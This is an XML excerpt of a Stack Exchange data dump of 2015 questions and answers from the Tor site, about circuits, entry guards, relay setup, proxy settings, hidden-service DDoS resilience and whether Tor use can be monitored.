  <row Id="7122" PostTypeId="2" ParentId="7118" CreationDate="2015-06-27T21:17:15.140" Score="0" Body="&lt;p&gt;From the FAQ: &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#EntryGuards&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/faq.html.en#EntryGuards&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;each Tor client selects a few relays at random to use as entry points, and uses only those relays for her first hop. If those relays are not controlled or observed, the attacker can't win, ever, and the user is secure. If those relays are observed or controlled by the attacker, the attacker sees a larger fraction of the user's traffic — but still the user is no more profiled than before. Thus, the user has some chance (on the order of (n-c)/n) of avoiding profiling, whereas she had none before.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2015-06-27T21:17:15.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7123" PostTypeId="2" ParentId="7115" CreationDate="2015-06-27T21:31:34.883" Score="2" Body="&lt;p&gt;Tor automatically builds the fastest circuits possible for you by attempting to see how much bandwidth is available for each node. It doesn't rely on the client supplied Bandwidth value but actually tries to test the node by building various circuits and timing the requests. Sometimes those tests are inconclusive, never get run, or just come up with bad information so you can't rely on that specifically. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This talks about how bandwidth is checked and used. &#xA;&lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/path-spec.txt#n92&quot; rel=&quot;nofollow&quot;&gt;https://gitweb.torproject.org/torspec.git/tree/path-spec.txt#n92&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should be noted that the Tor path-spec should be used and not your custom speed-based one if you value anonymity. But I assume you've decided that's not a priority. &lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2015-06-27T21:31:34.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7125" PostTypeId="2" ParentId="7119" CreationDate="2015-06-28T03:43:09.037" Score="0" Body="&lt;p&gt;Tor uses different circuits for communicating with IP and actual HS traffic. If an IP handles actual traffic, it can correlate the introductory circuit with your rendezvous circuit, thus a malicious IP may make you always choose it, seeing what you do and fingerprinting you.&#xA;&lt;br&gt;&lt;br&gt;&#xA;I2P has a design like what you said, but its leases are short-lived.&lt;/p&gt;&#xA;" OwnerUserId="4894" LastActivityDate="2015-06-28T03:43:09.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7126" PostTypeId="1" CreationDate="2015-06-28T11:07:04.980" Score="2" ViewCount="4820" Body="&lt;p&gt;My proxy setting does not work in Tor. &#xA;I have no idea why. The same settings work&#xA;in Firefox. (the proxy is working. I keep&#xA;checking and changing it):&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Sk0fU.png&quot; alt=&quot;Current Tor proxy settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="7758" LastEditorUserId="3788" LastEditDate="2015-07-01T09:27:32.243" LastActivityDate="2019-04-18T20:20:19.947" Title="Proxy setting not working in tor" Tags="|proxy|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7127" PostTypeId="1" CreationDate="2015-06-28T15:31:59.403" Score="4" ViewCount="41" Body="&lt;p&gt;Why is the weight factor Weg set equal to Wed in tor code (in file dirvote.c)? How does it still result in correct probabilities? &lt;/p&gt;&#xA;" OwnerUserId="7761" LastActivityDate="2015-06-28T15:31:59.403" Title="why is the weight for guards in exit position equal to weight of both guard ans exit flagged nodes for exit position?" Tags="|exit-relays|directory|bandwidth|guard|consensus|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7128" PostTypeId="1" CreationDate="2015-06-28T18:43:50.697" Score="1" ViewCount="1126" Body="&lt;p&gt;I'm currently hosting a tor exit relay running on CentOS 7 64-bit and i heard about arm and i've been trying to get it to work on Centos and nothing is working. I tried sudo &quot;yum install tor-arm&quot; and it says that there isn't a package available. I searched everywhere on google and the official Arm page and nothing is working. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks &lt;/p&gt;&#xA;" OwnerUserId="7762" LastActivityDate="2019-09-24T21:04:10.813" Title="ARM on CentOS 7" Tags="|nyx|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7130" PostTypeId="2" ParentId="7128" CreationDate="2015-06-29T13:44:31.550" Score="2" Body="&lt;p&gt;A quick Google resulted in the following page, which details both how to set up a relay on CentOS, &lt;em&gt;and&lt;/em&gt; how to install ARM:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.pixeljumble.com/how-to-setup-a-tor-relay-on-centos/&quot; rel=&quot;nofollow&quot;&gt;https://www.pixeljumble.com/how-to-setup-a-tor-relay-on-centos/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The pertinent parts are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Download ARM from &lt;a href=&quot;https://www.atagar.com/arm/download.php&quot; rel=&quot;nofollow&quot;&gt;https://www.atagar.com/arm/download.php&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Install the package: &lt;code&gt;rpm -ivh arm-replace-with-version-downloaded.rpm&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Restart Tor: &lt;code&gt;service tor restart&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Run ARM: &lt;code&gt;arm&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The documentation for ARM can be found in its README. From the ARM &lt;a href=&quot;https://www.atagar.com/arm/&quot; rel=&quot;nofollow&quot;&gt;homepage&lt;/a&gt; you can follow the links to the associated &lt;a href=&quot;https://gitweb.torproject.org/nyx.git/log/?h=release&quot; rel=&quot;nofollow&quot;&gt;Git repository&lt;/a&gt;, under which ARM is actually referred to as &lt;strong&gt;nyx&lt;/strong&gt;. The README can be found &lt;a href=&quot;https://gitweb.torproject.org/nyx.git/tree/README?h=release&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2015-06-29T13:44:31.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7132" PostTypeId="2" ParentId="7106" CreationDate="2015-06-29T22:08:40.320" Score="1" Body="&lt;p&gt;I know that is not problem in Tor browser, but something has changed in Google account. Many webs use Javascript, Flash, html5, third party cookies and other things, which are not secure or good for anonymity - these things are disabled by default in Tor Browser. If you want to use some web pages with this, you can enable them (e.g. cookies, Javascript) in the Tor browser settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Google account - Javascript is necessary and for Hangouts - third party cookies are necessary. If you disable third party cookies, and log in to hangouts, it does not work. I have found this while exploring settings. Google Hangouts requires with Javascript and third party cookies. This is not so much ideal, but you can go only to Google account, and before and after visiting Google account, change settings and request a new identity in Tor Browser.&lt;/p&gt;&#xA;" OwnerUserId="7765" LastEditorUserId="696" LastEditDate="2015-07-07T06:44:04.707" LastActivityDate="2015-07-07T06:44:04.707" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7135" PostTypeId="2" ParentId="6712" CreationDate="2015-06-30T08:12:47.507" Score="5" Body="&lt;p&gt;The confusing set of instructions is likely an artefact from previous versions. The Expert Bundle doesn't get as much attention from developers as would be hoped...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With regards to the lack of output, there's a similar thread, here: &lt;a href=&quot;https://tor.stackexchange.com/questions/6496/tor-expert-bundle-on-windows-no-installation-instructions&quot;&gt;Tor expert bundle on Windows - no installation instructions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The lack of output is likely due to the same bug mentioned in the above thread. As a workaround you can try adding &lt;code&gt;| more&lt;/code&gt; to the end of your commands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can place the &lt;code&gt;torrc&lt;/code&gt; file anywhere you like and specify the location using the &lt;code&gt;-f&lt;/code&gt; option when invoking the process. (At least this way you can force it to use a specific location, rather than assume it's correctly reading it from what you think the default location is.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To check you're editing the file correctly, have a look at the &lt;a href=&quot;https://gitweb.torproject.org/tor.git/tree/src/config/torrc.sample.in&quot; rel=&quot;nofollow noreferrer&quot;&gt;sample &lt;code&gt;torrc&lt;/code&gt; file&lt;/a&gt; linked from the FAQ.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2015-06-30T08:12:47.507" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7136" PostTypeId="1" AcceptedAnswerId="7140" CreationDate="2015-06-30T19:57:13.627" Score="2" ViewCount="298" Body="&lt;p&gt;I'm an admin on a Windows 8.1 computer and I want to know if I can see what another user is doing on Tor. Would I just use Microsoft Family Safety? I know that the government can spy on Tor, but can I see what other users are doing? I am either a parent or manager of a small company. Or both. Either way I need to see what my kids and/or employees are doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: I &lt;a href=&quot;https://superuser.com/questions/933866/is-there-a-way-to-track-tor-browsing-activities&quot;&gt;already asked this on Super User&lt;/a&gt;, but then I found a site specific to Tor.  Please don't blame me for being redundant.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="7767" LastEditorUserId="1765" LastEditDate="2015-07-01T09:42:09.370" LastActivityDate="2015-07-01T16:06:50.163" Title="Can I track other users on Tor?" Tags="|anonymity|security|windows|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7137" PostTypeId="2" ParentId="7126" CreationDate="2015-07-01T09:34:28.890" Score="1" Body="&lt;p&gt;If you want to use individual network settings you have to disable TorButton. Otherwise your settings won't have any effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click on the burger symbol (right above) and select &quot;Addons&quot;. You can also enter &lt;code&gt;about:addons&lt;/code&gt; into the address bar. Now you'll find the TorButton addon and you can deactivate it. If you change network settings and apply them, they are used by TBB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I wouldn't advise to do it, because TorButton does more than only changed proxy settings. So deactivating it, might have negative effects on your anonymity.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2015-07-01T09:34:28.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7139" PostTypeId="2" ParentId="7136" CreationDate="2015-07-01T14:42:06.437" Score="-1" Body="&lt;p&gt;Yes you can see your user using Tor but you can't figure out what sites they visit.&lt;/p&gt;&#xA;" OwnerUserId="7770" LastActivityDate="2015-07-01T14:42:06.437" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7140" PostTypeId="2" ParentId="7136" CreationDate="2015-07-01T16:06:50.163" Score="6" Body="&lt;p&gt;You can tell &lt;em&gt;that&lt;/em&gt; they use Tor, but not &lt;em&gt;what they do&lt;/em&gt; on Tor. Not from sniffing the network alone. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you own the machines they use, you could install software on it that tells you what they do, regardless of Tor. &lt;strong&gt;This is not something I would recommend you do without telling your kids/employees!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the end of the day, Tor was designed against you. &lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-07-01T16:06:50.163" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7141" PostTypeId="1" CreationDate="2015-07-02T05:02:36.693" Score="1" ViewCount="990" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;how to build tor which is a c project in visual studio c++? How to import tor source code?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="7772" LastActivityDate="2015-07-02T05:02:36.693" Title="how to build tor on windows using visual studio?" Tags="|configuration|build|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7142" PostTypeId="1" CreationDate="2015-07-02T07:18:38.197" Score="3" ViewCount="264" Body="&lt;p&gt;I've just downloaded Tor and can't find a search bar for browsing the internet. Keep looking and can't understand what I'm doing wrong here. Can anyone help me please?&lt;/p&gt;&#xA;" OwnerUserId="7773" LastEditorUserId="88" LastEditDate="2015-07-02T11:03:34.897" LastActivityDate="2015-07-04T16:49:09.347" Title="How to search internet" Tags="|help|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7143" PostTypeId="2" ParentId="7142" CreationDate="2015-07-02T10:02:25.030" Score="0" Body="&lt;p&gt;You have to user service like Grams: &lt;a href=&quot;http://grams7enufi7jmdl.onion/&quot; rel=&quot;nofollow&quot;&gt;http://grams7enufi7jmdl.onion/&lt;/a&gt; to browse the deep web, or know the address of the site&lt;/p&gt;&#xA;" OwnerUserId="7775" LastActivityDate="2015-07-02T10:02:25.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7144" PostTypeId="2" ParentId="7142" CreationDate="2015-07-02T11:08:52.970" Score="4" Body="&lt;p&gt;You'll find the search bar right beside the address bar. I provided you with a screenshot. You can also press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;k&lt;/kbd&gt; to reach it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/B6RkV.png&quot; alt=&quot;Search bar&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default Tor Browser uses &lt;a href=&quot;https://disconnect.me/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Disconnect.me&lt;/a&gt; as a search provider. If you click on the down arrow you can also choose another one.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2015-07-02T11:08:52.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7149" PostTypeId="2" ParentId="6765" CreationDate="2015-07-02T21:45:34.107" Score="0" Body="&lt;p&gt;Look at these two questions:&lt;br&gt;&#xA;&lt;a href=&quot;https://tor.stackexchange.com/questions/3896/where-i-can-find-export-or-download-the-biggest-list-of-all-onion-addresses&quot;&gt;Where I can find, export or download the biggest list of all .onion addresses?&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://tor.stackexchange.com/questions/4619/how-do-i-find-onion-sites&quot;&gt;How do I find onion sites?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Onion sites come and go. Link pages get abandoned. As user66 wrote, it is common to find dead links. (In many ways, the .onion web is like the 1990's web.)&lt;/p&gt;&#xA;" OwnerUserId="350" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.203" LastActivityDate="2015-07-02T21:45:34.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7151" PostTypeId="1" CreationDate="2015-07-01T13:09:45.090" Score="2" ViewCount="263" Body="&lt;p&gt;I've been reading about how Tor and I2P use cryptographic addresses to send messages to other nodes, but how does this work?  I looked through the documentation for each and neither is very clear on this.  For two machines to communicate, you ultimately need the IP addresses at some level, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Removing my second question as it is unrelated to my original.  What I'm getting at is: if these anonymous networks are overlays built on top of the existing internet infrastructure, then they must be using TCP/IP protocols for nodes to communicate, right?  So do these cryptographic addresses somehow translate to IP addresses?  I'm not really looking for a Tor-specific or I2P-specific answer, just a general answer on how this works in overlay networks.  I don't understand when the Tor/I2P documentation mentions that nodes communicate without knowledge of the others' IP addresses, only knowledge of their cryptographic address.&lt;/p&gt;&#xA;" OwnerDisplayName="Matt" LastEditorUserId="88" LastEditDate="2015-07-03T20:19:59.243" LastActivityDate="2015-07-03T20:19:59.243" Title="How do overlay network nodes communicate without IP addresses?" Tags="|onion-services|protocol|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7154" PostTypeId="1" CreationDate="2015-07-04T07:04:58.497" Score="0" ViewCount="114" Body="&lt;p&gt;I am using Tor Browser 4.5.3 and I have noticed that recently all the circuits created by Tor are geographically local. I am in Europe and now all circuits are constrained to that continent, while in the past they would range all over the World. Is this by design? How can I change it?&lt;/p&gt;&#xA;" OwnerUserId="7784" LastActivityDate="2015-07-18T08:04:05.697" Title="Why are all circuits now local?" Tags="|tor-browser-bundle|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7155" PostTypeId="2" ParentId="4589" CreationDate="2015-07-04T15:27:00.460" Score="1" Body="&lt;p&gt;There are 2 kinds of malicious traffic:  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Traffic that is the same as 'normal' traffic, but the amount/volume makes it malicious. [D]DoS. (I don't really have an answer for this one.)&lt;/li&gt;&#xA;&lt;li&gt;Traffic that has been crafted to trigger and exploit bugs in the server software or host OS.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For the 2nd kind, now that the easy semi-fix of blocking IPs doesn't work anymore, because you would lose your entire audience, you're forced to go the more difficult, but more worthwhile route of addressing those bugs (or if they have already been addressed, keep your servers patched).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way: In your theoretical scenario, all web sites could be hidden services, so that exit nodes would no longer be used. Then there is really nothing to block anymore. Sadly, I'm sure there would still/again be something like CloudFlare what runs distributed banks of hidden services that use their own introduction points.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-07-04T15:27:00.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7156" PostTypeId="2" ParentId="6797" CreationDate="2015-07-04T15:45:58.693" Score="1" Body="&lt;p&gt;The 'One More Step' page is from CloudFlare, a hosting provider. (See &lt;a href=&quot;https://www.cloudflare.com/&quot; rel=&quot;nofollow&quot;&gt;https://www.cloudflare.com/&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 404 indicates that the URL you visit points to something that doesn't exist. Now since the same URL works on 'normal' browsers, it is possible that the web site doesn't correctly handle when clients won't run scripts or accept 3rd party cookies. &lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-07-04T15:45:58.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7158" PostTypeId="1" CreationDate="2015-07-04T22:20:13.300" Score="1" ViewCount="313" Body="&lt;p&gt;Haven't used Tor in awhile. While searching first topically, I was timing out; then I got an error saying that Firefox was unable to find the (or connect to) the server for ... I finally tried Amazon, still no results. The search bar indicates something about Google and Disconnect.me; in the past, I thought that Tor was its own browser and from what I can see, Disconnect me is a VPN, of which I have one already. (I've turned it on and then off while trying to search.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't understand what is happening and if something can be changed; would appreciate suggestions, guidance.&lt;/p&gt;&#xA;" OwnerUserId="7789" LastActivityDate="2015-07-04T22:20:13.300" Title="Using Tor, why am I getting an error message that says, &quot;Firefox cannot find the server for...&quot;?" Tags="|firefox|server|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7159" PostTypeId="1" AcceptedAnswerId="7163" CreationDate="2015-07-05T03:11:28.937" Score="0" ViewCount="87" Body="&lt;p&gt;Today I downloaded a picture with Tor (4.5.3 (based on Mozilla Firefox 31.8.0)) and opened it in the Download-tab. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Strangely it didn't open it with the default-file opener but with the regular Firefox. I'm a bit puzzled and tried to change the file-types under the Applications (Anwendungen)-Tab within settings. Doesn't seem to be possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JLJaI.png&quot; alt=&quot;Settings&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7404" LastEditorUserId="112" LastEditDate="2015-07-06T17:44:50.910" LastActivityDate="2015-07-06T17:44:50.910" Title="Torbrowser opens downloads in firefox" Tags="|linux|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7160" PostTypeId="1" CreationDate="2015-07-05T03:35:19.810" Score="1" ViewCount="1571" Body="&lt;p&gt;How does tor find the nodes? In other words, how does tor know which ip addresses are tor nodes and which aren't?&lt;/p&gt;&#xA;" OwnerUserId="7790" LastActivityDate="2015-07-05T15:28:32.257" Title="How does tor find the nodes?" Tags="|protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7162" PostTypeId="2" ParentId="7160" CreationDate="2015-07-05T15:28:32.257" Score="2" Body="&lt;p&gt;The IPs and public keys of 9 directory authorities is compiled into Tor. Tor can download an initial list of all relays (the consensus) from those directory authorities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://www.torproject.org/docs/faq#KeyManagement&quot; rel=&quot;nofollow&quot;&gt;this section of the Tor Project FAQ&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How do clients know what the relays are, and how do they know that they have the right keys for them?&lt;br&gt;&#xA;  [...] The directory authorities provide a signed list of all the known relays, [...] specifying their keys, locations, exit policies, and so on.&lt;br&gt;&#xA;  How do clients know what the directory authorities are?&lt;br&gt;&#xA;  The Tor software comes with a built-in list of location and public key for each directory authority.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-07-05T15:28:32.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7163" PostTypeId="2" ParentId="7159" CreationDate="2015-07-05T17:07:00.500" Score="1" Body="&lt;p&gt;Found this issue here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://askubuntu.com/questions/370110/switched-from-unity-to-cinnamon-now-firefox-opens-wrong-app-from-downloads-menu&quot;&gt;https://askubuntu.com/questions/370110/switched-from-unity-to-cinnamon-now-firefox-opens-wrong-app-from-downloads-menu&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apparently it was not Tor's mistake but somehow a wrongly set entry in: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;/usr/share/applications/mimeinfo.cache&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;image/jpeg=firefox.desktop;gimp.desktop;kde4-okularApplication_kimgio.desktop;org.kde.gwenview.desktop;display-im6.q16.desktop;display-im6.desktop;rawtherapee.desktop;geeqie.desktop;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="7404" LastEditorUserId="-1" LastEditDate="2017-04-13T12:23:03.123" LastActivityDate="2015-07-05T17:07:00.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7164" PostTypeId="1" AcceptedAnswerId="7173" CreationDate="2015-07-05T17:18:18.223" Score="4" ViewCount="333" Body="&lt;p&gt;I'm running a relay on a 1Gbps connection. However, my relay averages around 3Mbps up/down each after several months. After substantial investigation, I found the cause: my relay sets up TCP sessions with clients and other relays, and NEVER closes them (it simply waits 24 hours for them to expire). I quickly hit my router's NAT session limit and can't build any more circuits. At any given time 99% of my connections are using zero bandwidth, and I can't build more connections because of my router's limitation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a design decision in tor that has some security properties? It just seems extremely inefficient, like mallocing all your memory and never freeing it, why not end sessions that have not been used in an operator configurable amount of time, e.g. 30 minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only downside I see is that clients who idle for a very long time (AFK? not recommended using tor!) may have an extra second of load time inbetween idle periods. But by definition, this wouldn't affect people who are actually using tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the upside, it would allow some relay operators (like myself) to increase their bandwidth by factors of hundreds.&lt;/p&gt;&#xA;" OwnerUserId="1172" LastActivityDate="2015-07-07T15:55:38.850" Title="Why do relays not end idle TCP sessions?" Tags="|relays|bandwidth|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7165" PostTypeId="2" ParentId="7154" CreationDate="2015-07-05T21:42:48.967" Score="2" Body="&lt;p&gt;The EntryGuard (your first hop in a circuit) are static for an extended period of time and may appear relatively persistent. But the other two nodes should change randomly unless you have customized your Torrc file to choose a specific geographic region. Make sure that your Torrc file has not been customized. You may be using the same circuit repeatedly which is why you notice the same path so try restarting Tor Browser and see if it creates a new path for you. &lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2015-07-05T21:42:48.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7166" PostTypeId="1" CreationDate="2015-07-06T05:05:45.273" Score="1" ViewCount="185" Body="&lt;p&gt;My resource monitor in windows shows receiving data to both tor.exe and firefox.exe when using tor. Does this mean that the data the firefox.exe receives is unsecured.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are 3 network activity. The first one is tor.exe with address to which process is connected to is the first tor node(4/133). The secode is tor.exe with address to which process is connected to is my-PC(110/0.5). The third is Firefox.exe which also with address to which process is connected to is my-PC(0.5/115).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The data sent to received in Kbits is in within brackets this is when watching video with script allowed.&lt;/p&gt;&#xA;" OwnerUserId="7794" LastEditorUserId="7814" LastEditDate="2015-07-09T12:53:09.180" LastActivityDate="2015-07-09T12:53:09.180" Title="Receiving data to both tor.exe and firefox.exe" Tags="|anonymity|firefox|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7167" PostTypeId="2" ParentId="7166" CreationDate="2015-07-06T08:41:47.970" Score="1" Body="&lt;p&gt;Firefox is using the tor process as proxy, so it's natural that both processes receives data. It does not mean that it's compromised, but if you still worry about it then you can check your computer for viruses\trojans and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you really want to step it up then get TAILS instead.&#xA;Install it on a memory stick and enable persistent storage.&#xA;Windows is not the most secure OS to use (because of closed source and so on).&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2015-07-06T08:41:47.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7169" PostTypeId="1" CreationDate="2015-07-06T10:52:05.107" Score="0" ViewCount="273" Body="&lt;p&gt;I'm planning on creating a tor hidden service(in the context of a research project) and am wondering how resilient is it against common (D)DoS attacks(i.e. DNS amplification, UDP flood, etc.) given that the real network address of the server is not known to the attacker? Is it possible to limit the number of open connections to the service via tor in order to avoid resource(open sockets/bandwidth) exhaustion? &lt;/p&gt;&#xA;" OwnerUserId="7410" LastEditorUserId="7410" LastEditDate="2015-07-06T11:02:03.767" LastActivityDate="2015-08-05T11:55:13.113" Title="Can a tor hidden service be successfully attacked via (D)DoS?" Tags="|tor-browser-bundle|onion-services|dos|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7170" PostTypeId="2" ParentId="7169" CreationDate="2015-07-06T11:06:02.050" Score="2" Body="&lt;p&gt;The examples you mention do not apply: Tor only works with TCP streams, not UDP. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is probably easier to overload the Tor that hosts the Hidden Service than the actual web server behind it, by just creating lots of connections. Setting up a circuit is much more work than serving up a simple web page.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-07-06T11:06:02.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7173" PostTypeId="2" ParentId="7164" CreationDate="2015-07-07T15:55:38.850" Score="3" Body="&lt;p&gt;&lt;strong&gt;TLDR: Get a better router, or don't stick your relay behind a NAT.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor has a notion of &lt;code&gt;circuits&lt;/code&gt; (a path through the Tor network) and &lt;code&gt;channels&lt;/code&gt; (the actual TLS link between Tor instances).  A single channel will carry multiple circuits worth of payload, muliplexing/demultiplexing each circuit as appropriate.  If 5 clients all happen to chose &lt;code&gt;A&amp;lt;-&amp;gt;B&lt;/code&gt; as part of of a circuit, all of their traffic will go over a single &lt;code&gt;A&amp;lt;-&amp;gt;B&lt;/code&gt; TLS connection.  Circuit lifespan can be very very long, especially with the recent Tor Browser change to keep the user's IP constant when browsing a given site (which also results in idle circuits hanging around for a long time).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tearing down a channel when there are still circuits that are considered live will kill off all the circuits that are being transported through the channel.  This is bad, because each circuit can be transporting multiple streams worth of data, and building a circuit is relatively expensive to the network as a whole, because it involves a lot of cryptography spread across relays along the circuit, and potentially TCP and TLS handshakes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your relay in an ideal world should be able to handle 1 TCP connection per client (since you will become a Guard eventually), and 1 (in some cases 2) per relay in the Tor network (to actually relay data).  If you are using a low end residential router, this number will most certainly be above what the NAT table in a low end consumer router can handle (nb: This is somewhat of a high/pessimistic estimate).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While it may be possible to maintain the new (and improved) Tor Browser behavior (since websites freak out when a user's IP address changes mid-session), while allowing for a circuit to be torn down/reestablished, visibility into what is actually being transported in a given channel is not available to intermediary relays, and such a change would necessitate a tighter coupling between Tor and Tor Browser than what is currently present, and the maintenance of state so that an identical circuit can be re-established in the event that it is killed off as idle.&lt;/p&gt;&#xA;" OwnerDisplayName="user78" LastActivityDate="2015-07-07T15:55:38.850" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
